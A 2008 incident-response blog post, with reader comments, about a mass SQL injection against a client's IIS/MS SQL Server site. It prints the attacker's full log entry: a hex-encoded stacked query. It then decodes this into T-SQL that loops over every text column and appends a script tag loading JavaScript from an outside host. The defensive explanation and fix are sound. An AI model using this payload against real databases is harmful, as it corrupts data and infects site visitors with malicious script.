Latest SQL Injection attack technique and how to prevent it from happening.
We have recently being investigating a hacking attack that happened to one of our client’s website.
The attack comprised of inserting malicious code in the website and infecting all the data in the database.
There have been over 510,000 infected pages around the internet according to F-secure website since this article was published on the 24th of April 2008.
Today I’ve checked on Google and there are more than 1,370,000 infected pages.
If you’re curious type “allintitle:http<script src=” in Google to see all the pages infected with malicious JavaScript code.
The attacks are usually targeted to IIS and MS SQL Server databases. The reason for this is because SQL server allows query stacking which means that you are able to perform multiple queries by separating each of them with a semicolon.
So for example you could run “update table set field=value; delete from table; select * from table;” all in the same line at the same time.
Below is a list of steps you need to take prior and/or after the attack.
1) Look in the ISS log file.
a) When we were investigating this particular attack we came across this line of code in the IIS log file of our client’s website.
2008-06-28 05:45:04 W3SVC1351401656 10.1.3.97 GET /page.aspx
id=18;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×4445434C41
5245204054205641524348415228323535292C40432056415243484152283
2353529204445434C415245205461626C655F437572736F7220435552534F
5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4
D207379736F626A6563747320612C737973636F6C756D6E73206220574845
524520612E69643D622E696420414E4420612E78747970653D27752720414
E442028622E78747970653D3939204F5220622E78747970653D3335204F52
20622E78747970653D323331204F5220622E78747970653D31363729204F5
0454E205461626C655F437572736F72204645544348204E4558542046524F
4D205461626C655F437572736F7220494E544F2040542C4043205748494C4
528404046455443485F5354415455533D302920424547494E204558454328
27555044415445205B272B40542B275D20534554205B272B40432B275D3D5
25452494D28434F4E5645525428564152434841522834303030292C5B272B
40432B275D29292B27273C736372697074207372633D687474703A2F2F777
7772E636F6E7436372E636F6D2F622E6A733E3C2F7363726970743E272727
29204645544348204E4558542046524F4D205461626C655F437572736F722
0494E544F2040542C404320454E4420434C4F5345205461626C655F437572
736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS
%20VARCHAR(4000));EXEC(@S);– 80 - 222.253.3.20
By analyzing the code we can tell that the attack came from a URL string and was targeting the page.aspx?id=18
We can also tell that the code is in Hexadecimal in order to exclude the use of quotes amongst other characters.
2) Decode the HEX code back to Ascii
a) We needed to know what that particular code was doing in order to further investigate the damages to the website.
b) If you go to http://www.dolcevie.com/js/converter.html and type in the part of the SQL injection which is in HEX and click on the button HEX to ASCII you get the following code.
(HEX STRING)
4445434C415245204054205641524348415228323535292C443205641524
34841522832353529204445434C415245205461626C655F437572736F722
0435552534F5220464F522053454C45435420612E6E616D652C622E6E616
D652046524F4D207379736F626A6563747320612C737973636F6C756D6E7
3206220574845524520612E69643D622E696420414E4420612E787479706
53D27752720414E442028622E78747970653D3939204F5220622E7874797
0653D3335204F5220622E78747970653D323331204F5220622E787479706
53D31363729204F50454E205461626C655F437572736F722046455443482
04E4558542046524F4D205461626C655F437572736F7220494E544F20405
42C4043205748494C4528404046455443485F5354415455533D302920424
547494E20455845432827555044415445205B272B4042B275D2053455420
5B272B40432B275D3D525452494D28434F4E564552542856415243484152
2834303030292C5B272B40432B275D29292B7273C7363726970742073726
33D687474703A2F2F7777772E636F6E7436372E636F6D2F622E6A733E3C2
F7363726970743E27272729204645544348204E4558542046524F4D20546
1626C655F437572736F7220494E544F2040542C404320454E4420434C4F5
345205461626C655F437572736F72204445414C4C4F43415445205461626
C655F437572736F722
(DECODED ANSCII STRING)
DECLARE @T VARCHAR(255)’@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name’b.name FROM sysobjects a’syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T’@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(’UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000)’['+@C+']))+”<script src=http://www.cont67.com/b.js></script>”’) FETCH NEXT FROM Table_Cursor INTO @T’@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
All this string is doing is looping through all the tables in the database finding text fields and appending <script src=http://www.cont67.com/b.js></script> to the end of the field.
This means that your attacker doesn’t even need to know the names of the tables in your database, the SQL cursor will do that automatically within its loop.
3) In our particular attack our client’s webpage was retrieving a URL query string called id which was a number. After retrieving this id it would fetch the necessary data to make the webpage work as it should. The attacker would then append the malicious SQL Injection string and when our page.aspx fetched the id it would also execute the query stack from the URL.
4) The solution was quite simple, we added a validation on the id variable to only receive Integer numbers, so when the attacker injects the malicious code our webpage would generate an error and our database wouldn’t be compromised.
I’d strongly suggest that every developer pay extra attention on how they implement data filtering and data validation in their code to prevent malicious attackers in executing any database queries and damage the integrity of the website.
Below is a list of useful links on SQL Injection attacks as well as information on how to filter user data.
http://www.0×000000.com/index.php?i=556&bin=1000101100
http://www.phpro.org/tutorials/Filtering-Data-with-PHP.html#1
http://blogs.zdnet.com/security/?p=1059
http://dotnet.dzone.com/news/aspnet-preventing-sql-injectio
http://www.owasp.org/index.php/Main_Page
July 2nd, 2008 at 2:54 pm
David Barnett, on July 2nd, 2008 at 4:43 pm Said:
Cheers for looking out for us Martin…
Dave, on July 25th, 2008 at 11:56 am Said:
Can you publish a sql script that can check the database and possibly remove for this attack?
Dan, on August 6th, 2008 at 8:47 am Said:
Hia Dave,
There is no way as far as I know to check the database for this attack after the attack happened. Because each attack might attach a different piece of code. It usually loops thru the text fields and append some malicious code in the table fields.
You really have to prevent it before it happens. The only way I could think of, is to back up your database on a daily basis. And run a sql query to compare each field to check if it has changed since your last backup.
A good article can be found at http://www.sql-server-performance.com/articles/dba/database_comparison_sp_p1.aspx.
I hope this helps you.
Regards,
Dan